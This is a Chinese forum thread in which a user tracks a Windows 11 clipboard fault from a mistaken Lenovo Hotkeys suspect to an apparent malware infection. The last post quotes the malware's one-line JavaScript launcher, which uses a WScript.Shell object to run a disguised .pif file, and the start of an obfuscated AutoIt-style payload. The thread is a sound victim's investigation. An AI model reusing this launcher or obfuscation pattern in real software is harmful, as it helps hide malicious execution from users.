HaoWine
(郝酒)
2024 年9 月 25 日 23:46
1
起因是我的office粘贴功能只有仅保留文本功能,因为word,excel,powerpoint全部都是这样,我推断是操作系统的剪贴板的问题。
借助坛子推荐的 ClipboardViewer 这个工具,观察了复制后的剪贴板内容。 在粘贴正常的机器上,显示的结果是: Rich Text Format HTML Format Text UnicodeText SystemString 内容非常丰富. 因为内容比较多,这里就不粘贴内容了。
但在故障的机器上,显示的结果只有: Text UnicodeText SystemString 内容就只有纯文本. 内容非常的简单。
所以我推断,是 Windows 11 的剪贴板服务出了问题.在网上也搜到一篇同样症状的。https://bbs.pcbeta.com/viewthread-1904174-1-1.html
想问下经验丰富的大虾,这种受限,是什么原因导致的?以及它的解决办法.谢谢啦!
HaoWine
(郝酒)
2024 年9 月 26 日 08:20
2
初步排查是Lenovo Hotkeys这个自启动程序导致的,但是我查不到这个程序的位置,不知道是哪个程序引入的。
这玩意儿好像是一个 UWP 应用,联想电脑出厂时自带的软件,应该是可以直接在 “任务管理器” 里面将其启动项禁用,对日常使用没有其他影响。
HaoWine
(郝酒)
2024 年9 月 26 日 11:10
4
是的,我已经把它禁了,复制粘贴的状态正常了。
没太细究它的作用,以及如何做到使复制的东西只有纯文本的。
HaoWine
(郝酒)
2024 年10 月 6 日 14:06
6
今天发现不是上述Lenovo HotKey造成的.之所以造成这样的误解,是因为我取消程序的启动项后,重启测试发现粘贴行为正常,就以为是取消启动项修复了这个问题。
事实上不然,刚开机时粘贴的行为是正常的,过一段时间后粘贴行为就不正常了,是因为造成异常的程序还没来得及启动,造成了修复问题的假象.
造成粘贴行为异常的是一个名叫jsc.exe的程序.
它通过计划任务通过js程序启动.
有问题的文件夹是:AppData\Local\ProtezioneDati Inc
里面有:Proteggi.js、E、jsc.exe和Proteggi.pif四个文件.
Proteggi.js里面就一句:
new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\tan9p\\AppData\\Local\\ProtezioneDati Inc\\Proteggi.pif\" \"C:\\Users\\tan9p\\AppData\\Local\\ProtezioneDati Inc\\E\"")
E的内容很长,开头如:
$EagleConcluded = 36
$LauderdaleVeterinary = 98
While 674
If $EagleConcluded = 35 Then
PixelGetColor(DefinitionHierarchy("83X101X116X116X105X110X103X94X84X101X101X116X104X94",0/6), DefinitionHierarchy("83X101X116X116X105X110X103X94X84X101X101X116X104X94",0/6))
ConsoleWriteError(DefinitionHierarchy("99X97X98X105X110X101X116X47X104X105X110X100X117X47X115X111X108X100X105X101X114X47",0/4))
Sqrt(2585)
$EagleConcluded = $EagleConcluded + 1
EndIf
并没有jsc.exe字段,不知道是如何运行jsc.exe的.